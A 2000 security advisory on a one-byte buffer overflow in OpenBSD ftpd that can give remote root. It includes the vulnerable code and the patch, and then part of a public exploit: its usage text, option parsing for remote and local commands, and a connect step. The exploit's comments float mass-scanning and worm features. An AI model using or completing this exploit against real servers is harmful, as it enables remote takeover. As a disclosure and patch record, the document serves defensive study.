Single-byte buffer overflow vulnerability in OpenBSD FTPd (exploit)
20 Dec. 2000
Summary
A remotely exploitable hole has been found in OpenBSD's FTPd. This security hole may lead to complete system compromise. A relatively obscure one-byte buffer overflow bug present in ftpd(8) turns out to be a serious problem, yielding remote users root access under certain conditions. For a system to be vulnerable ftpd must have been explicitly enabled by the administrator (OpenBSD ships with it OFF by default) and the attacker must have write access to at least one directory. Therefore, anonymous read-only FTP servers are safe (it is recommended that you apply the patch regardless, of course). Non-anonymous FTP administrators should seriously consider using a more secure transport such as SSH.
Vulnerable systems:
This vulnerability affects OpenBSD versions through 2.8. FreeBSD is reportedly not vulnerable. NetBSD is vulnerable to the same bug and a patch was applied to their tree on December 14th.
Technical details:
The offending code is as follows:
char npath[MAXPATHLEN];
int i;
for (i = 0; *name != '\0' && i < sizeof(npath) - 1; i++, name++) {
npath[i] = *name;
if (*name == '"')
npath[++i] = '"';
}
npath[i] = '\0';
In <sys/param.h>, MAXPATHLEN is defined to be 1024 bytes. The for() construct here correctly bounds variable `i' to be < 1023, such that when the loop has ended, no byte past npath[1023] may be written with '\0'. However, since `i' is also incremented in the nested statements here, it can become as large as 1024, and npath[1024] is past the end of the allocated buffer space.
- for (i = 0; *name != '\0' && i < sizeof(npath) - 1; i++, name++) {
- npath[i] = *name;
- if (*name == '"')
- npath[++i] = '"';
+ p = npath;
+ ep = &npath[sizeof(npath) - 1];
+ while (*name) {
+ if (*name == '"' && ep - p >= 2) {
+ *p++ = *name++;
+ *p++ = '"';
+ } else if (ep - p >= 1)
+ *p++ = *name++;
+ else
+ break;
}
- npath[i] = '\0';
+ *p = '\0';
reply(257, "\"%s\" %s", npath, message);
}
Exploit:
/*
h0h0h0 0-day k0d3z
Exploit by Scrippie, help by dvorak and jimjones
greets to sk8
Not fully developt exploit but it works most of the time ;)
Things to add:
- automatic writeable directory finding
- syn-scan option to do mass-scanning
- worm capabilities? (should be done seperatly using the -C option
void
usage(char *program)
{
int i;
fprintf(stderr,
"\nUsage: %s [-h host] [-f port] [-u user] [-p pass] [-d directory] [-t type]\n\t\t[-r retaddr] [-c command]
[-C command]\n\n"
"Directory should be an absolute path, writable by the user.\n"
"The argument of -c will be executed on the remote host\n"
"while the argument of -C will be executed on the local\n"
"with its filedescriptors connected to the remote host\n"
"Valid types:\n",
program);
for (i = 0; i < NUM_TYPES; i++) {
printf("%d : %s\n", i, types[i].name);
}
exit(-1);
}
main(int argc, char **argv)
{
unsigned int i;
int opt, fd;
unsigned int type = 0;
char *hostname = "localhost";
if (argc < 2)
usage(argv[0]);
while ((opt = getopt(argc, argv, "h:r:u:f:d:t:vp:c:C:")) != -1) {
switch (opt) {
case 'h':
hostname = optarg;
break;
case 'C':
command = optarg;
command_type = CMD_LOCAL;
break;
case 'c':
command = optarg;
command_type = CMD_REMOTE;
break;
case 'r':
ret_addr = strtoul(optarg, NULL, 0);
break;
case 'v':
verbose++;
break;
case 'f':
if (!(ftpport = atoi(optarg))) {
fprintf(stderr, "Invalid destination port - %s\n", optarg);
exit(-1);
}
exit(-1);
break;
case 'u':
strncpy(user, optarg, sizeof(user) - 1);
user[sizeof(user) - 1] = 0x00;
break;
case 'p':
strncpy(pass, optarg, sizeof(pass) - 1);
pass[sizeof(pass) - 1] = 0x00;
break;
case 'd':
strncpy(write_dir, optarg, sizeof(write_dir) - 1);
write_dir[sizeof(write_dir) - 1] = 0x00;
if ((write_dir[0] != '/'))
usage(argv[0]);
if ((write_dir[strlen(write_dir) - 1] != '/'))
strncat(write_dir, "/", sizeof(write_dir) - 1);
break;
case 't':
type = atoi(optarg);
if (type > NUM_TYPES)
usage(argv[0]);
break;
default:
usage(argv[0]);
}
}
if (ret_addr == 0)
ret_addr = types[type].ret_addr;
if ((fd = xconnect(hostname, ftpport)) == -1)
exit(-1);
else
printf("Connected to remote host! Sending evil codes.\n");